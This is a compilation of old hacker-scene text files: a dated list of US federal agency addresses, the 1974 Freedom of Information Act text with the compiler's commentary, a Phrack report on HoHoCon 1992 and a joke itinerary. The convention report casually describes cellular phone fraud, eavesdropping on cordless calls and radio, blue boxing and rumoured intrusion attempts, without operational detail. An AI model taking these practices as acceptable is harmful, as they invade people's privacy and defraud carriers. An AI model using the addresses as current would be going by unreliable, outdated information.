1900 E Street, N.W.

Washington, D.C. 20415

Coastal Plains

Coastal Plains Regional Commission

1725 K Street, N.W.

Washington, D.C. 20006

Commerce

Department of Commerce

Washington, D.C. 20230

Community Services

Community Services Administration

1200 19th Street, N.W.

Washington, D.C. 20506

Consumer Product Safety

Consumer Product Safety Commission

1111 18th Street, N.W.

Washington, D.C. 20207

Copyright Office

Copyright Office

Library of Congress

Washington, D.C. 20559

Customs Service

U.S. Customs Service

1301 Constitution Avenue, N.W.

Washington, D.C. 20229

Defense

Department of Defense

The Pentagon

Washington, D.C. 20301

Defense Contracts Audits

Defense Contracts Audits Agency

Cameron Station

Alexandria, Virginia 22314

Defense Intelligence

Defense Intelligence Agency

RDS‑3A

Washington, D.C. 20301

Defense Investigation

Defense Investigative Services

D0020

Washington, D.C. 20304

Defense Logistical

Defense Logistical Agency

Cameron Station

Alexandria, Virginia, 22314

Defense Mapping

Defense Mapping Agency

Naval Observatory

Washington, D.C. 20305

Disease Control

Center for Disease Control

Atlanta, Georgia 30333

Economic Development

Economic Development Administration

Department of Commerce

14th & Constitution Avenue, N.W.

Washington, D.C. 20230

Education

Office of Education

400 Maryland Avenue, S.W.

Washington, D.C. 20202

Energy

Department of Energy

U.S. Department of Energy

Washington, D.C. 20461

EPA

Environmental Protection Agency

401 M Street, S.W.

Washington, D.C. 20460

Environmental Quality

Council on Environmental Quality

722 Jackson Place, N.W.

Washington, D.C. 20006

Equal Employment Opportunity

Equal Employment Opportunity Commission

2401 E Street, N.W.

Washington, D.C. 20506

Export‑Import Bank

Export‑Import Bank of the U.S.

811 Vermont Avenue, N.W.

Washington, D.C. 20571

FAA

Federal Aviations Administration

800 Independence Avenue, S.W.

Washington, D.C. 20591

FBI

Federal Bureau of Investigation

9th and Pennsylvania Avenue, N.W.

Washington, D.C. 20535

FCC

Federal Communications Commission

1919 M Street, N.W.

Washington, D.C. 20554

Federal Elections

Federal Election Commission

550 17th Street, N.W.

Washington, D.C. 20463

Federal Highways

Federal Highway Administration

400 7th Street, S.W.

Washington, D.C. 20590

Federal Power

Federal Power Commission

825 North Capitol Street

Washington, D.C. 20426

Federal Trade

Federal Trade Commission

6th and Pennsylvania Avenue, N.W.

Washington, D.C. 20580

Food and Drug

Food and Drug Administration

5600 Fisher Lane

Rockville, Maryland 20857

Foreign Claims Settlement

Foreign Claims Settlement Commission

1111 20th Street, N.W.

Washington, D.C. 20579

General Accounting

General Accounting Office

441 G. Street, N.W.

Washington, D.C. 20548

General Services

General Services Administration

18th and F Streets, N.W.

Washington, D.C. 20405

Health, Education, and Welfare

U.S. Department of Health, Education, and Welfare

200 Independence Avenue, S.W.

Washington, D.C. 20201

Health Resources

Health Resources Administration

3700 East West Highway

Hyattsville Maryland 20782

Health Services

Health Services Administration

5600 Fisher Lane

Rockville, Maryland 20857

HUD

Department of Housing and Urban Development

Washington, D.C. 20410

Immigration and Naturalization

Immigration and Naturalization Service

425 I Street, N.W.

Washington, D.C. 20536

Information Agency

U.S. Information Agency

1750 Pennsylvania Avenue, N.W.

Washington, D.C. 20547

Interior

Department of the Interior

18th and C Street, N.W.

Washington, D.C. 20240

IRS

Internal Revenue Service

1111 Constitution Avenue, N.W.

Washington, D.C. 20224

International Development

Agency for International Development

21st and Virginia Avenue, N.W.

Washington, D.C. 20532

International Trade

International Trade Commission

701 E Street, N.W.

Washington, D.C. 20436

ICC

Interstate Commerce Commission

12th and Constitutional Avenue, N.W.

Washington, D.C. 20423

Justice

Department of Justice

Washington, D.C. 20530

Labor

Department of Labor

Washington, D.C. 20210

Law Enforcement Assistance

Law Enforcement Assistance Administration

633 Indiana Avenue, N.W.

Washington, D.C. 20230

National Aeronautics and Space

National Aeronautics and Space Administration

400 Maryland Avenue, S.W.

Washington, D.C. 20546

National Archives and Records

National Archives and Records Service

Washington, D.C. 20408

National Credit Union

National Credit Union Administration

2025 M Street, N.W.

Washington, D.C. 20506

National Endowment for the Arts

National Endowment for the Arts

806 15th Street, N.W.

Washington, D.C. 20506

National Endowment for Humanities

National Endowment for Humanities

806 15th Street, N.W.

Washington, D.C. 20506

National Highway Traffic Safety

National Highway Traffic Safety Administration

400 7th Street, S.W.

Washington, D.C. 20590

National Institute of Education

National Institute of Education

1200‑19th Street, N.W.

Washington, D.C. 20208

National Institute of Health

National Institute of Health

9000 Rockville Pike

Rockville, Maryland 20014

National Labor Relations

National Labor Relations Board

1717 Pennsylvania Avenue, N.W.

Washington, D.C. 20570

National Science Foundation

National Science Foundation

1800 G Street, N.W.

Washington, D.C. 20550

National Security Agency

National Security Agency

Fort George Meade, Maryland 20755

National Security Council

National Security Council

Old Executive Office Building

Washington, D.C. 20506

National Transportation Safety

National Transportation Safety Board

800 Independence Avenue, S.W.

Washington, D.C. 20594

Navy

Department of the Navy

The Pentagon

Washington, D.C. 20350

Nuclear Regulation

Nuclear Regulatory Commission

Washington, D.C. 20555

Overseas Private Investment

Overseas Private Investment Corporation

1129 20th Street, N.W.

Washington, D.C. 20527

Postal Service

U.S. Postal Service

475 L'Enfant Plaza, S.W.

Washington, D.C. 20260

Prisons

Bureau of Prisons

320 First Street, N.W.

Washington, D.C. 20534

Public Health

Public Health Service

200 Independence Avenue, S.W.

Washington, D.C. 20201

Secret Service

U.S. Secret Service

1800 G Street, N.W.

Washington, D.C. 20223

Securities and Exchange

Securities and Exchange Commission

500 North Capitol Street

Washington, D.C. 20435

Selective Service

Selective Service System

600 E Street, N.W.

Washington, D.C. 20435

Small Business

Small Business Administration

1441 L Street, N.W.

Washington, D.C. 20416

Social Security

Social Security Administration

6401 Security Blvd.

Baltimore, Maryland 21235

State

Department of State

Washington, D.C. 20520

Transportation

Department of Transportation

400 7th Street, S.W.

Washington, D.C. 20590

Treasury

Department of the Treasury

1500 Pennsylvania Avenue, N.W.

Washington, D.C. 20220

Urban Mass Transit

Urban Mass Transit Administration

400 7th Avenue, S.W.

Washington, D.C. 20590

Veterans

Administration

Vermont Avenue, N.W.

Washington, D.C. 20420

Here is a copy of the Freedom of Information Act and all of its amendments. It may prove to have some usefulness. You might want to read through it to understand the law better. I would not recommend reading it if you are in a suicidal state.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FULL TEXT OF FREEDOM OF INFORMATION ACT, AS AMENDED IN 1974 BY PUBLIC LAW 93‑502

% 552 Public Information; agency rules, opinions, orders, records, and proceedings

(a) Each agency shall make available to the public information as follows: (1) Each agency shall separately state and currently publish in the Federal Register for the guidance of the public‑

(A) descriptions of its central and field organization and the established places at which, the employees (and in the case of a uniformed service, the members) from whom, and the method whereby, the public may obtain information, make submittals or requests, or obtain decisions;

(B) statements of the general course and method by which its functions are channeled and determined, including the nature and requirements of all formal and informal procedures available;

(C) rules of procedures, descriptions of forms available or the places at which forms may be obtained, and instructions as to the scope and contents of all papers, reports, or examinations;

(D) substantive rules of general applicability adopted as authorized by law, and statements of general policy or interpretations of general applicability formulated and adopted by the agency; and (E) each amendment, revision, or repeal of the foregoing.

Except to the extent that a person has actual and timely notice of the terms thereof, a person may not in any manner be required to resort to, or be adversely affected by, a matter required to be published in the Federal Register and not so published. For the purpose of this paragraph matter reasonably available to the class of persons affected thereby is deemed published in the Federal Register when incorporated by reference therein with the approval of the Director of the Federal Register.

(2) Each agency, in accordance with published rules, shall make available for public inspection and copying‑

(A) final opinions, including concurring and dissenting opinions, as well as orders, made in the adjudication of cases; (B) those statements of policy and interpretations which have been adopted by the agency and are not published in the Federal Register; and (C) administrative staff manuals and instructions to staff that affect a member of the public;

unless the materials are promptly published and copies offered for sale. To the extent required to prevent a clearly unwarranted invasion of personal privacy, an agency may delete identifying details when it makes available or publishes an opinion, statement of policy, interpretation, or staff manual or instruction. However, inn each case the justification for the deletion shall be explained clearly in writing. Each agency shall also maintain and make available for public inspection and copying current indexes providing identifying information for the public as to any matter issued, adopted, or promulgated after July 4, 1967, and required by this paragraph to be made available or published. Each agency shall promptly, quarterly or more frequently, and distribute (by sale or otherwise) copies of each index or supplement thereto unless it determines by order published in the Federal Register that the publication would be unnecessary and impracticable, in which case the agency shall nonetheless provide copies of such index on request at a cost not to exceed the direct cost of duplication. A final order, opinion, statement of policy, interpretation, or staff manual or instruction that affects a member of the public may be relied on, used, or cited as precedent by an agency against a party other than an agency only if(i) it has been indexed and either made available or published as provided by this paragraph; or

(ii) the party has actual and timely notice of the terms thereof. (3) Except with respect to the records made available under paragraphs (1) and (2) of this subsection, each agency, upon any request for records which (A) reasonably describes such records and (B) is made in accordance with published rules stating the time, place, fees (if any), and procedures to be followed, shall make the records promptly available to any person. (4)(A) In order to carry out the provisions of this section, each agency shall promulgate regulations, pursuant to notice and receipt of public comment, specifying a uniform schedule of fees applicable to all constituent units of such agency. Such fees shall be limited to reasonable standard charges for documents search and duplication and provide for recovery of only the direct costs of such search and duplication. Documents shall be furnished without charge or at a reduced charge where the agency determines that waiver or reduction of the fee is in the public interest because furnishing the information can be considered as primarily benefiting the general public. (B) On complaint, the district court of the United States in the district in which the complainant resides, or has his principal place of business, or in which the agency records are situated, or in the District of Columbia, has jurisdiction to enjoin the agency from withholding agency records and to order the production of any agency records improperly withheld from the complainant. In such a case the court shall determine the matter de novo, and may examine the contents of such agency records in camera to determine whether such records or any part thereof shall be withheld under any of the exemptions set forth in subsection (b) of this section, and the burden is on the agency to sustain its action. (C) Notwithstanding any other provision of law, the defendant shall serve an answer or otherwise plead to any complaint made under the subsection within thirty days after service upon the defendant of the pleading i which such complaint is made, unless the court otherwise directs for good cause shown.

(D) Except as to cases the court considers of greater importance, proceedings before the district court, as authorized by this subsection, and appeals therefrom, take precedence on the docket over all cases and shall be assigned for hearing and trial or for argument at the earliest practicable date and expedited in every way. (E) The court may assess against the United States reasonable attorney fees and other litigation costs reasonably incurred in any case under this section in which the complainant has substantially prevailed. (F) Whenever the court orders the production of any agency records improperly withheld from the complainant and assesses against the United States reasonable attorney fees and other litigation costs, and the court additionally issues a written finding that the circumstances surrounding the withholding raise we questions whether agency personnel acted arbitrarily or capriciously with respect to the withholding, the Civil Service Commission shall promptly initiate a proceeding to determine whether disciplinary action is warranted against the officer or employee who was primarily responsible for the withholding. The Commission, after investigation and consideration of the evidence submitted, shall submit its findings and recommendations to the administrative authority of the agency concerned and shall send copies of the findings and recommendations to the officer or employee or his representative. The administrative authority shall take the corrective action that the Commission recommends. (G) In the event of noncompliance with the order of the court, the district court may punish for contempt the responsible employee, and in the case of a uniformed service, the responsible member. (5) Each agency having more than one members shall maintain and make available for public inspection a record of the final votes of each member in every agency proceeding.

(6)(A) Each agency, upon any request for records made under paragraph (1),(2), or (3) of the subsection, shall‑

(i) determine within ten days (except Saturdays, Sundays, and legal public holidays) after the receipt of any such request whether to comply with such request and shall immediately notify the person making such request of such determination and the reasons therefor, and of the right of such person to appeal to the head of the agency and adverse determination; and

(ii) make a determination with respect to any appeal within twenty days (excepting Saturdays, Sundays, and legal public holidays) after the receipt of such appeal. If on appeal the denial of the request for records is in whole or in part upheld, the agency shall notify the person making such request of the provisions for judicial review of that determination under paragraph (4) of this subsection. (B) In unusual circumstances as specified in this subparagraph, the time limits prescribed in either clause (i) or clause (ii) of subparagraph (A) may be extended by written notice to the person making such request setting forth the reasons for such extension and the date on which a determination is expected to be dispatched. NO such notice shall specify a date that would result in an extension for more than ten working days. As used in this subparagraph, "unusual circumstances" means, but only to the extent reasonably necessary to the proper processing of the particular request(i) the need to search for and collect the requested records from field facilities or other establishments that are separate from the office processing the request;

(ii) the need to search for, collect, and appropriately examine a voluminous amount of separate and distinct records which are demanded in a single request; or

(iii) the need for consultation, which shall be conducted with all practicable speed, with another agency having a substantial interest in the determination of the request or among two or more components of the agency having substantial subject‑matter interest therein. (C) Any person making a request to any agency for records under paragraph (1), (2), or (3) of this subsection shall be deemed to have exhausted his administrative remedies with respect to such request if the agency fails comply with the applicable time limit provisions of this paragraph. If the Government can show exceptional circumstances exist and that the agency is exercising due diligence in responding to the request, the court may retain jurisdiction and allow the agency addition time to complete its review of the record. Upon any determination by an agency to comply with a request for records, the records shall be made promptly available to such person making such request. Any notification of denial of any request for records under this subsection shall set forth the names and titles or positions of each person responsible for the denial of such request.

(b) This section does not apply to matters that are‑

(1) (A) specifically authorized under criteria established by an Executive Order to be kept secret in the interest of national defense or foreign policy and (B) are in fact properly classified pursuant to each Executive Order; (2) related solely to the internal personnel rules and practices of the agency;

(3) specifically exempted from disclosure by statute;

(4) trade secrets and commercial or financial information obtained from a person and privileged or confidential;

(5) inter‑agency or intra‑agency memorandums or letters which would not be available by law to a party other than an agency in litigation with the agency;

(6) personnel and medical files and similar files the disclosure of which would constitute a clearly unwarranted invasion of personal privacy; (7) investigatory records compiled for law enforcement purposes, but only to the extent that the production of such records would (A) interfere with enforcement proceeding, (B) deprive a person of a right to a fair trial or an impartial adjudication, (C) constitute an unwarranted invasion of personal privacy, (D) disclose the identity of a confidential source and, in the case of a record compiled by a criminal law enforcement authority in the course of a criminal investigation, or by an agency conducting a lawful national security intelligence investigation, confidential information only furnished by the confidential source, (E) disclose investigative techniques and procedures, or (F) endanger the life or physical safety of law enforcement personnel;

(8) contained in or related to examination, operating or condition reports prepared by, one behalf of, or for the use of an agency responsible for the regulation or supervision of financial institutions; or

(9) geological and geophysical information and data, including maps, concerning wells.

Any responsible segregable portion of a record shall be provided to any person requesting such record after deletion of the portions which are exempt under the subsection.

(c) This section does not authorize withholding of information or limit the availability of records to the public, except as specifically stated in this section. This section is not authority to withhold information from Congress. (d) On or before March 1 of each calendar year each agency shall submit a report covering the preceding calendar year to the Speaker of the House of Representatives and President of the Senate for referral to the appropriate committees of Congress. The report shall include‑

(1) the number of determinations made by such agency not to comply with requests for records made to such agency under subsection (a) and the reasons for each determination;

(2) the number of appeals made by persons under subsection (a)(6), the result of such appeals, and the reason for the action upon each appeal that results in a denial of information;

(3) the names and titles or positions of each person responsible for the denial of records requested under this section, and the number of instances for participation of each;

(4) the results of each proceeding conducted pursuant to subsection (a)(4)(F), including a report of the disciplinary action taken against the officer or employee who was primarily responsible for improperly withholding records or an explanation of why disciplinary action was not taken; (5) a copy of every rule made by such agency regarding this section; (6) a copy of the fee schedule and the total amount of fees collected by the agency for making records available under this section; and

(7) such other information as indicates efforts to administer fully this section.

The Attorney General shall submit an annual report on or before March 1 of each calendar year which shall include for the prior year a listing of the number of cases arising under this section, the exemption involved in each case, the disposition of such case, and the cost, fees, and penalties assessed under subsections (a)(4)(E),(F), and (G). Such report shall also include a description of the efforts undertaken by the Department of Justice to encourage agency compliance with this section.

(e) for purposes of this section, the term "agency" is defined in section 551(1) of this title includes any executive department, military department, Government corporation, Government controlled corporation, or other establishment in the executive branch of the Government (including the Executive Office of the President), or any independent agency.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In Conclusion:

The Freedom of Information Act is a powerful tool that can be used to benefit yourself and to find out what the feds keep in their log books on you. Use it, just don't abuse it. It gives the individual much power over the government. We no longer have to prove a reason to know the information, but we have a right to know the information. Its the government's job to keep the information away from us. I would also like to mention that regulations and all documents that agencies carry can be found in any major library. This will save you cash and frustration. Anyways, keep the faith, its not that bad out there. And watch comedy central, its good for you.

Greets to: All the good users on atdt, the works, tlitd. Stargazer, daemon, joker, shadow, the hopeless warez fanatics. Deranged derelict, jt, and all the other virtual friends I forgot.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HoHoCon

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 13 of 14

HoHoCon 1992

Miscellany

The hackers were getting nervous. It was understandable. Just a few weeks before HoHoCon and already two other "get‑togethers" had experienced turbulence from the authorities.

Rumors began to fly that HoHo was to be the next target. Messages bearing ill‑tidings littered the underground. Everyone got worked into a frenzy about the upcoming busts at HoHoCon. People began to cancel their reservations while others merely refused to commit one way or the other.

But, amidst all the confusion and hype, many declared "Let them try to raid us! I'm going anyway!" These were the few, the proud...the stupid.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HoHoCon as I saw it ‑ Erik Bloodaxe (Chris Goggans)

I arrived at the Allen Park Inn in the mid afternoon on Friday the 18th. I was promptly greeted by several of my cohorts and a loping transient who introduced himself as "Crunchhhhhhhhh." Yes, John Draper, the infamous Captain Crunch had actually ventured outward to attend our little party. (Yes, Virginia, the rumors are true: The Captain is toothless, unkempt, overbearing and annoying as all hell.)

I followed Scott Chasin back to our room, the pack of other early arrivals in close file behind. After storing my gear I noticed that Draper was looming in the doorway ranting furiously about all the smoking in our room. "I've never heard of a hacker who smoked," exclaimed the Captain. Taking this as my cue, I bummed a Djarum off of Crimson Death and took great glee in adding my fumes to the enveloping fog.

Draper spent the next 30 minutes attempting to eavesdrop on various conversations in which various old friends were catching up. Not knowing any of us personally, he nonetheless felt obligated to offer his comments about our discussions about life and college and music amidst his coughing and complaining about the smoke.

After some time everyone was banished from the room and several of us went out to eat. Scott Chasin, myself, two hackers (The Conflict, & Louis Cypher) along with Gary Poole (covering the entire mess for Unix World) took off for the nearest grease pit. Taco Bell won in proximity, and once surrounded by burritos Scott, Conflict and I began our rant about Unix Security (the lack thereof). Gary whipped out his Unix World pen and pad and began taking notes. I am uncertain whether or not it was the content of our spiel or the asides I repeatedly made regarding the bevy of giggling coeds that garnered the most notes in Gary's booklet.

Back at the Con things were spicing up. More people had begun to arrive and the Allen Park Inn staff began to worry about their safety and that of their other guests. One remarked to Jesse (Drunkfux), the sponsor of HoHoCon, "That Draper fellow needs to stay out of the lobby. He was eating large amounts of flesh off his hands and it was scaring some of the visitors." The staff did not know what to think at all when a father arrived with his three sons and after purchasing a room on his credit card told the boys, "Ok guys, Mom will be picking you up on Sunday."

This did not concern most of us. It was straight to the bar

for us, where Rambone bought Scott & myself a round of Kamikazes. Also at the bar was Bootleg who had just gotten out. (Of what, and for what you can find out on your own.) Bootleg is probably the smartest biker I have ever had the pleasure to meet. We talked about sex, drugs, hawgs, computers, cellular fraud and how close the nearest cabaret was.

A small controversy began to arise amidst the hackers at the bar. Stationed near one end of the room was a table lined with older men. "FEDS," someone murmured, gesturing at the group.

"Good for them," I said, and left the bar to look for Jesse. When I returned several minutes later the hackers had engaged the strangers in conversation and found that they weren't feds after all. Among this group were Jim Carter of Houston‑based Bank Security, and Bernie Milligan of Communications & Toll Fraud Specialists, Inc. Once this news was out tensions eased and everyone continued with their libations.

Suddenly I became aware that there was girl in the room. I had seen her out in the courtyard previously but now she was alone. Turning on my "Leisure Suit Larry" charm I grabbed the seat next to her. Melissa had arrived from Austin to cover the event for Mondo‑2000. She surprised me by telling me that she knew who I was, where I worked, and even knew my extension number. (I almost fell off the barstool.)

Jim & Bernie came over and joined us at the bar. Bootleg, Chaoswiz, Melissa and I engaged them in wild stories about UFO's, hacking, the NSA & the CIA. (Bernie alleged that he was ex‑NSA, and Jim ex‑CIA. We have not yet determined if they were acting under orders from Col. Jim Beam & Gen. Jack Daniels.)

After the ensuing debates on the true formation of the NSA, the group broke up and Melissa and I took off to MC Allah's room to partake of the keg he had brought. We walked in the room and were greeted with the sight of a four‑foot boy with a syringe sticking out of his arm. This was a bit much, even for me. I snatched his "medication" away from him and found that it was really only some type of growth hormone. The boy, 8‑Ball, was actually 15 and his parents had him on hormones to stimulate his growth. 8‑Ball was totally whacked out his mind nonetheless. I think he had ingested such a diverse amount of God knows what by the time we arrived that he was lucky to remember where he was. Later that evening he would become convinced that he was Scott Chasin and confessed to quite a bit of wrongdoing just before he gave offerings at the porcelain alter.

Conversations in the keg room left something to be desired. One large hacker named Tony looked at Melissa and in his best British accent asked if he could fondle her breasts. And the debate between MC Allah and Hunter about who could drink the most alcohol reached a climax when both stuck their heads under the keg spigot for extended periods of time.

Sometime just before 11:00 the hotel guard, attired in Raiders jacket and a really, really big snow hat (the kind with the poofy ball on top) showed up brandishing his paper baton, (A rolled up Houston Press). "You all needs to get to yaw roomz, nah. I ain'tz ta gonna tell yaw no mo'." Everyone looked the guard over and moved back into the keg room. Thus was born, "Homie da Guard." After he wandered away, everyone moved back out onto the porch.

It was getting late and I was supposed to speak the next morning so I tried to get into our room. Scott Chasin, hacker extrordinaire, had locked me out. After beating on the door for 10 minutes, the windows for 5, the walls for 10, and letting the phone ring for another 15 minutes I decided that Scott was a bit too tipsy to unlock the door so I crashed out on Jesse's floor.

That night, the water pipes broke. There was some speculation that those evil hackers had "hacked the system." Not.

While complaining about the lack of water that night, someone overheard three young attendees at a bank of pay phones attempting to order up a few escorts on "credit." Rumor has it they were successful.

The next morning was chaos. By the time we arrived at the conference room there were about 150 people inside. Louis Cypher sat at the door collecting money for the raffle and getting everyone to sign the guest book. Jesse and others were setting up various video equipment and getting things in order. In the back of the room, Bernie sat scanning the crowd with a super‑ear, recording the conversations of those sitting.

Crunch was up in arms again. "If everyone in here doesn't stop smoking I won't be able to do my speech. If you all want to hear me talk, you will have to stop smoking." Several more cigarettes lit up. After speaking with management, Crunch came back in and asked if everyone smoking would at least move to one side of the auditorium nearest the door. With hesitation, the crowd conceded.

The conference got underway with consultant Ray Kaplan taking a census of those in attendance. The group ranged from under 15 to over 50, had professionals and hobbyists, and had enthusiasts for every conceivable type operating system. Ray went on to elaborate on one of his audio conferences in which an FBI officer alluded that one of their key sources of information was "I.R.C."

Bootleg got up and spoke on the vast potentials involved with cellular fraud. He discussed how to monitor the reverse channel to obtain ESNs, and where to obtain the equipment to allow you to do such a thing. He later handed out diskettes (IBM format) containing information on how to reprogram cellular phones and where to obtain the equipment necessary to pick subscriber numbers out of the air.

Up next, myself and Chasin. Our topic was a bit obscure and cut deliberately short due to concerns about the nature of our speech. During the Dateline NBC piece that featured Chasin a piece of information flashed on the screen that alluded to UFO information stored on military computers. Chasin and I had gained possession of the research database compiled by the hackers who were looking into this. We discussed their project, the rumors surrounding their findings and the fear surrounding the project. Not knowing the true details of this we declined to comment any further, but made the documentation available to anyone who wanted a copy. We finished our speech by answering questions about Comsec, Consultants, etc.

Steve Ryan, a Houston lawyer with a great deal of interest in the legal aspects of cyberspace spoke next. He covered several of the current issues affecting the community, spoke on laws in effect, cases pending, and gave an insight to his background that led him to focus in on the issues concerning the electronic community.

Next, Jim Carter gave a quick and dirty demonstration of how to monitor electromagnetic radiation and how to do a simple data recovery from this noise. He monitored a small data terminal from a portable television set that was completely unmodified. He then spoke on how to read the EMR from such things as plumbing, the ground, off of window panes, etc. Jim's speech, although highly intriguing, got extremely vague at points, especially regarding technology needed, his own background, etc. (We will attribute this to his "CIA" training.)

The Hotel Officials showed up and demanded that everyone get out immediately. Apparently someone had staggered into the kitchen, drunk, and broken something. Steve Ryan left to smooth things out a bit. After a few minutes he returned and told everyone that they could stay, but to keep it quiet tonight. Thus the secret plans of some to drive the hotel golf cart into the pool were crushed.

The raffle proved to be an exercise in banality. Everything from flashing street lights to SunOS 4.1.3 to T‑shirts to books were auctioned off. One lucky devil even got an official Michael Jackson candy bar.

The folks from RDT (Count Zero and White Knight) handed out a large amount of photocopied goodies such as the new "Forbes" article on hackers, a complete set of the old 70's telephony 'zine "TEL" as well as assorted other flyers and pamphlets.

Up next, Louis Cypher spoke about his entanglement with the law regarding his front‑page bust for counterfeiting. He told of his experiences with the law, how they got involved in such a dastardly deed, what jail was like on the inside, and advice against anyone else considering such a thing.

Up last, John Draper. Draper had managed by this time to annoy almost everyone at the convention. A large portion of those in attendance left as soon as he got up. They were the unlucky ones. Draper, for all his oddities, is an intriguing speaker. His life has been quite rich with excitement and when he can actually focus on a subject he is captivating. He spoke on his trip to the Soviet Union where he met computer and telephone enthusiasts in Moscow. He spoke on his unfortunate involvement with Bill SF and the BART Card duplication scandal. He spoke, with obvious longing, of the good old days of blue boxing, and stacking tandems to obtain local trunks, and on verification circuitry.

Listening to Draper talk really brought me back to my beginnings. I could hear in my head the "cachink‑chink" of a tandem waiting for MF. I remembered stacking tandems to Europe and back to call my other line. I remembered the thrill of finding never before known trunks and exploring their connections. I fell into a deep nostalgic high, and walked up to John to tell him thanks. As I extended my hand to him, he mumbled something unintelligible and wandered off. So much for paying respect.

About ten of us took off to Chuy's for dinner: Me, Chasin, Conflict, Rambone, Dispater, Blue Adept, Minor Threat and reporters Joe Abernathy and Gary Poole were among the diners. Everyone ate heartily and listened to cordless telephone conversations on Rogue Agent's handheld scanner. One conversation was between what appeared to be a "pimp" talking to his "ho" about some money owed him by another in his flock. The conversation drifted to the Dallas man who had terrorized an entire neighborhood some months back with prank phone calls. Conflict and Dispater repeated a few of the choicest of the calls for our amusement.

Back at the hotel, Dr. Hoffman's Problem Child had escaped, and several casualties were reported.

Conflict, Chasin and I barricaded ourselves in our room and went on a lengthy stream of consciousness rant about what we needed out of life. Our absolute essentials were reduced to a small room with a computer hooked into the Internet, a specially designed contour chair, a small hole through which a secretary would give us food, virtual reality sex toys, and a toilet. (Chasin suggested no toilet, but a catheter so we would never have to move.) Gary Poole was quietly stunned in the corner of the room making mental notes.

Much of the con had moved into a suite that had been converted into a mass computing arena. Several attendees from Pittsburgh had turned their room into a lab with four Unix workstations with several terminals throughout the room including the bathroom! These were hooked into the Internet through a slip connection that had been rigged somewhere. It was quite a site. The room was usually completely packed and smelled like a smoky gymnasium.

(It was rumored that after Chasin and I spoke on the UFO conspiracy, several hackers began their attempts at penetrating the Ames Research Lab. No reports back on their success.)

After I finished copying several Traci Lords video tapes (ahem) I relinquished control of the decks to a room downstairs. Dispater played a video manipulation he and Scott Simpson had produced. They had found a TRW training video tape during a trashing run and dubbed in their own dialogue. (You'd have to see it to fully understand.)

After that, I played a few tapes of my own. The first was a short film called "Red," that chronicled the abusive prank phone calls directed at a bartender. The film had the actual phone call tapes played with video stills. (Guess where the Simpsons came up with that nifty idea...)

Following "Red," someone heard on the scanner that the guard was answering a large noise disturbance in the room we were in. (Yes, they had the hotel guard's 2‑meter frequencies.) Everyone moved into another room before the guard showed up. He was thoroughly confused.

In the next room I played the ultimate in shock, the sequel to the movie that I had disturbed the entire con with last year, "Nekromantik II." I won't go into any detail, since the title says it all. Once again, I reign as the sickest person at HoHoCon, this honor bestowed upon me by everyone who witnessed the showing.

As things winded down, several people ended up back in our room to waste away the last few hours of the night. Several people returned from an adventure to "an abandoned hospital." No one really understood what they went to, but it sounded disturbing. Later, that same group would leave to go climb "an abandoned grain storage tower." Go figure.

Approximately 2:00 am, a local hacker named Zach showed up. Scott had a few words for Zach, as did most everyone at the Con. Zach lived in a fantasy land where he was a top notch security consultant with high paying clients in the telecommunications industry. He also like to name drop names like Chasin and Goggans as his partners and as people who would swoop down and terrorize the people he had any problems with. He also liked to turn in, or threaten to turn in any of his rivals in the software pirating community. He also like to proposition young boys both in person and over the phone. At 17, Zach had a few problems.

Trapped in the corner of the room, Zach endured about an hour of questioning and accusations (all of which he truly deserved.) Eventually Zach left, apparently not affected by the ordeal at all. We attributed this to his overly apparent schizophrenia brought on by denial of his sexual tendencies.

Later that night the Pittsburgh gang blew out the power in their entire wing. One was overheard, "Hmmm...guess we should have known that when the power strips kept melting that we were drawing too much power."

The next morning everyone gathered up their gear and said so long. All but a few who gathered in a room marked "the suite of the elite." Armed with a nitrous oxide blaster, everyone sat around and viewed the con through the roaming video eye of Jesse, who had managed to capture everyone in some kind of compromising position. He will be selling them off after he edits it a bit. It was dubbed "The Blackmail Tape."

In my opinion this year was much less anarchistic than last year. The convention might not even be banished from this hotel. (Yeah, right.) There were no raids, there were no overtly violent or satanic acts, no fire alarms, no trashing runs (that I saw), no fights,

and there were no strippers (alas). The conference portion of the event was much better organized, there was much more interesting information to be shared, and was well worth the distances traveled by all.

This was HoHoCon '92.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

H*O*H*O*C*O*N '92

Frosty's Itinerary

Thursday 8pm Take off and go bar hopping all night long to build up stamina for the convention.

Thrusday 10pm Quit bar hopping and waste shitloads of money at the casinos in feeble attempts to get gas money for the trip.

Friday 5am Leave the casino and decide to get some sleep after spending hours to win a meager $10 over starting cash.

Friday 8am Wake up and decide to pack for the trip. Forget necessities that we couldn't live without. Remember to bring junk food.

Friday 9am Stuff assembled GCMS members into subcompact Japanese micro car and leech as much gas money out of them as possible.

Friday 2pm Stop at the friendly convenient store to rob it of precious sugar‑coated necessities and obtain mucho lotto tickets.

Friday 4pm Endure Windrunner's gruelling multi‑hour long verbatim rantings of taking the Purity Test 1500 verbally.

Friday 7pm Pull out many maps and try to find the damn hotel in Houston.

Friday 9pm Arrive at the hotel getting a room for one (car stuffed with people sits outside the lobby). Request two keys.

Friday 10pm Test the smoke machine on the hotel grounds. Chase young code‑kids out of your way, threatening to disable their phones.

Friday 11pm Crash in room from lack of sleep. Kick other members out of your way. Ignore multiple alcoholic beverages lining the room. Ponder what's sleeping in the chair briefly.

Saturday ??? Try to figure out if you're awake or dead. Take a collection from those that are still alive. Run to some micro‑compact Japanese convenience store hidden in the middle of suburbia hell and obtain sugar‑coated nutrients with Windrunner and JunkMaster and Gaijin.

Saturday 1pm Arrive for the conference. Get mega‑amounts of raffle tickets.

Saturday 2pm Conference actually gets started a few hours behind schedule. Tape conversations from the man with the whisper 2000 home version. Ponder the light orbiting Erik B's head.

Saturday 4pm Witness Steve Ryan in action against the hotel staff. Wonder where the young hack in the corner got the gallon, mostly empty now, of wine. Ponder if he's going to spew.

Saturday 6pm Try to figure out what everyone is going to do with the several hundred flashing construction lights given out. Calculated the ratio of men to women as 15,000:1, roughly.

